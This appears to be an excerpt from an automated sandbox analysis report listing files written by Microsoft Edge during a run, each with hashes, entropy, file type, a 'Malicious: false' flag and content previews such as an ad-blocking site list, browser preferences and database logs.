C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\90e34d4c-bdc4-4e24-9546-e6e15e99d814.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673FA06A-1444.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4572819907183336
Encrypted:	false
SSDEEP:	3072:UfwFxoifq00WNn/hIyIPkcfXxLssak9pBlC/oG8y0q6aMplg1HFcw+R:DFxSYhIyqkcf+09YoK0q6aMplaHew+R
MD5:	745970F4E3D9173CF966EA422064B898
SHA1:	8C47E24C4CFFB8B7383D82A132E3F42789274E96
SHA-256:	8F5101BBEA1794FB6F102456B5661DBE13F86115BD9F8C30824B59E37F810296
SHA-512:	BC517AF0D5A2BFAED0E40DE85853F93308FD810783330A92DE7CB6FA9C9B8440746BA16915B32EF5C96F7131CEEA27BB6E767807038515C04915340E57ABF429
Malicious:	false
Preview:	...@..@...@.....C.].....@...............h...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ecccby20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........6...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673FA06A-1B40.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.047219061159434944
Encrypted:	false
SSDEEP:	192:WV20m5tmEnOAU5YCkJPi6VBKP7+HfgHXUUIxMEYTwgh0MNBGogRQ7F/OtA38n8ys:y20UtPQkN4Lphhr8ICA3808T2RGOD
MD5:	7824BEBA8479DB9DB58D55D21BF4EF36
SHA1:	4C2C35E31B793A1544DF6F6FC4F9E88095C9874D
SHA-256:	0B4DF93DD4912288CBAFA862BE9FB917730EA19D99A078F99C761127E4A9F849
SHA-512:	A7F88CD356D2F88E0FCF8D356BE427FC463B44D2707F9C46098A8A850FE83BF4ED4944574C60069B62451D9288BC8A8E90A363CBAC5CA7674E9BAA90ECFF00A9
Malicious:	false
Preview:	...@..@...@.....C.].....@................h...X..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ecccby20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\22252354-1ddc-41e8-84fe-777410ba7047.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17304), with no line terminators
Category:	dropped
Size (bytes):	17306
Entropy (8bit):	5.489865729325224
Encrypted:	false
SSDEEP:	384:stgPGQSu4d/sWAtJGFlwipmGTwEi8bGSQwd7:saOXu8Agl1kKbGBS
MD5:	43ACAB6357B53F1775F8B7CF985FE99C
SHA1:	B8D964FD0903C6D668D34977D91FF27464343FFC
SHA-256:	B5F21E36899A8227777623AD272AB537B3F48FDAFAC6CFDE54B9CE560B996CC3
SHA-512:	BC073DDFA41B043D4A6152FFCA6F445594EB368EA117070C6957BE48AA0058BCC4E0977D649E8296795E7DFAB937EC9FBAAB76002BEFA5A1E5382DCD728C9C81
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376696683618403","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5caea874-4381-4cf7-8f67-5d8bcfd09bad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561255743470082
Encrypted:	false
SSDEEP:	768:UcMwGM7pLGLPqQWPdlfqm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVFOzkBixrw1lUHe:UcMwGwcPqQWPdlfqmu1jaAOzWiC1lUHe
MD5:	B6871C819326C7EF0CB266BB67ACD266
SHA1:	B5736100A61FEC3490CA89E2CA46896D6AED719D
SHA-256:	121C0FC33A3E778C745DB9991E6B44046242FA58714CA54D96FACF14202038F4
SHA-512:	FC9C0FEB308864D7E325AA9E849DD5E34DF54B6F8FB698F0F9E9C4501FC9A6765F0301735DE9753044D0FABD03AB40DD5D3446D229A75E3B364AD1D27BCD7FB8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376696683028931","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376696683028931","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6c0e7b26-ce3b-4aea-9d1f-86f114b12486.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7d788db5-e2ba-4b0b-8635-ce4d0d762919.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565396359900302
Encrypted:	false
SSDEEP:	768:UV+wjQWPdlfjm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVFkBlxrwZ0BpxtuT7:UV+wjQWPdlfjmu1jaYWlCZwtc
MD5:	38EA540D0AF040BFAC2CA60D7C15017F
SHA1:	75862339DA5804F176EB34A36CE2736147DB8C2E
SHA-256:	C3E5C2D082F7B70836261866A615FCA83D7AE7267193ECA6DC9433690C7A90A1
SHA-512:	4FD58054E19D0E097D22CA38D1D2204F6FD3007D073A9B12E93A26602EF75862F65B0818A66F481A0B7F42085DD0A7AC53B3C812638C7EB03D1B38A85B31FCE8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376696683028931","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376696683028931","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\84f5a005-f88d-47e9-a118-75c2b11de138.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17468), with no line terminators
Category:	dropped
Size (bytes):	17470
Entropy (8bit):	5.4866449939717095
Encrypted:	false
SSDEEP:	384:stgPGQSu4d/sWAtJGFlwipmGTwEi8bGSQwGn7:saOXu8Agl1kKbGB9
MD5:	F8B4FFB3A8888E4CDE1AF8CF0F3EA659
SHA1:	53767764567ED83DB4DBBEFB87A4C86342B3EBCA
SHA-256:	AC9039EA976FCBAE671620744BA74F7691B4F857A4260063807AAF0A36FC5810
SHA-512:	3C60D6ECB2DFEDC64ED1847D58FAF6D1414835E40DAEE3E6610F3E53DC3A675DBFF0B9009030F50BE34EF6E70958B3A87AF9621E452D855880E35D1BD93DCE49
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376696683618403","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.23432362770534
Encrypted:	false
SSDEEP:	6:HE9uB1cNwi23oH+Tcwtp3hBtB2KLlVE9Uq2PcNwi23oH+Tcwtp3hBWsIFUv:k9wZYebp3dFLs9UvLZYebp3eFUv
MD5:	1BAB087454AA5A9C98A40200E3998C4D
SHA1:	CE3CB85189A9F703495C41EA94E3783B19C92BEC
SHA-256:	8569CB0A762A168C3F316C47D2684961EE9EBA0F9653E489A7097963709E38B9
SHA-512:	ED23C626A21A145C6E5570B6613F62FBF882F6B0E6049CF523A23AFDEF905388C717FAA990F7434DA54FB4106CF0FEB813CD0593C072FAF5B765EACA3365892B
Malicious:	false
Preview:	2024/11/21-16:04:48.715 2080 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/21-16:04:48.800 2080 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040628782646172
Encrypted:	false
SSDEEP:	24576:k9f76gGkISshcFdmcOAoPENUpifYP+MbI2T:k9fgAmmE
MD5:	BF8254510163D909D19158A760C87EA2
SHA1:	48180051A0629EAD970A28F49D25B4ACF9F0890D
SHA-256:	8FD240B4549C87E61F13806BFAC298DC0B237FCA5796430C7CE784806FB2FB80
SHA-512:	4DD2797B843294A112640B9039597DF317100383F6F22F0AA58A7F665C40D970D01967E2A8A4E428F522C30F8350A6EFBD1F5520DACD6D66BEF211C3144C3938
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.140570201658738
Encrypted:	false
SSDEEP:	6:HE9cJ0Vjyq2PcNwi23oH+Tcwt9Eh1tIFUt8YE9cHO1Zmw+YE9ZXMjRkwOcNwi23A:k9msjyvLZYeb9Eh16FUt8/9r/+/9pMjJ
MD5:	DDD5EF0C081F12434385E1121765DD93
SHA1:	5FB4D351B12F6F4C6D3D234E73F21D0A4B473D6F
SHA-256:	0173F574DE681AE9779B5E82CA79086646B7E8B0547EE5B54A579DDC80F7D3C7
SHA-512:	83CBF7BF3564414FBCDC7A7F5B856ADACDF90F1A98B9C33265D36DFCE184573ACFD7573FF3BCD785F90B5D85B5B9300E4ED017B439B33177BA2CC7E94D41C664
Malicious:	false
Preview:	2024/11/21-16:04:48.586 2210 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/21-16:04:48.588 2210 Recovering log #3.2024/11/21-16:04:48.594 2210 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.140570201658738
Encrypted:	false
SSDEEP:	6:HE9cJ0Vjyq2PcNwi23oH+Tcwt9Eh1tIFUt8YE9cHO1Zmw+YE9ZXMjRkwOcNwi23A:k9msjyvLZYeb9Eh16FUt8/9r/+/9pMjJ
MD5:	DDD5EF0C081F12434385E1121765DD93
SHA1:	5FB4D351B12F6F4C6D3D234E73F21D0A4B473D6F
SHA-256:	0173F574DE681AE9779B5E82CA79086646B7E8B0547EE5B54A579DDC80F7D3C7
SHA-512:	83CBF7BF3564414FBCDC7A7F5B856ADACDF90F1A98B9C33265D36DFCE184573ACFD7573FF3BCD785F90B5D85B5B9300E4ED017B439B33177BA2CC7E94D41C664
Malicious:	false
Preview:	2024/11/21-16:04:48.586 2210 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/21-16:04:48.588 2210 Recovering log #3.2024/11/21-16:04:48.594 2210 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4626056487406196
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBub6:TouQq3qh7z3bY2LNW9WMcUvBub6
MD5:	04D59330E3CD5A2E13B4AD2A0958C4DD
SHA1:	538A00E2D178EB3BC699A903ACB27F6F549DF5BE
SHA-256:	016A8AEAA417356D160E53A0D6C120F35C130DE3307C7F25543BA1AB38868A2E
SHA-512:	E484D12458A20B9F8B4A886F78FAC0375A03E96B0F07F18DEF70819A9DF75B76765A114DDE58A86E518FCDD99793691F08AD53E7FA0410896FC34BE4CD03D4C7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
